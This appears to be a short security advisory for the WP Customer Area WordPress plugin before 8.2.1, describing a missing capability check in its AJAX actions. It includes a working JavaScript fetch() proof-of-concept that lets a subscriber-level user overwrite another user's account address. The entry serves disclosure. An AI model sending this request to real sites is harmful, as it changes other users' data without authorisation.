WP Customer Area < 8.2.1 - Subscriber+ Account Address Update

2024-01-1000:00:00

Krzysztof Zając (CERT PL)

wp customer area

subscriber

account

address update

nonce

fetch

post request

exploit

AI Score

4.7

Confidence

High

EPSS

Percentile

14.0%

JSON

Description The plugin does not properly validate users capabilities in some of its AJAX actions, allowing malicious users to edit other users’ account address.

You may get the nonce from *your* save address form

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": 'action=cuar_save_address_for_owner&cuar_nonce=a73a7eab3b&owner[type]=usr&owner[ids][]=1&address_id=home_address&address[name]=hohohohoh',
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
})
.then((response) => {
  return response.text();
})
.then((data) => {
  console.log(data);
});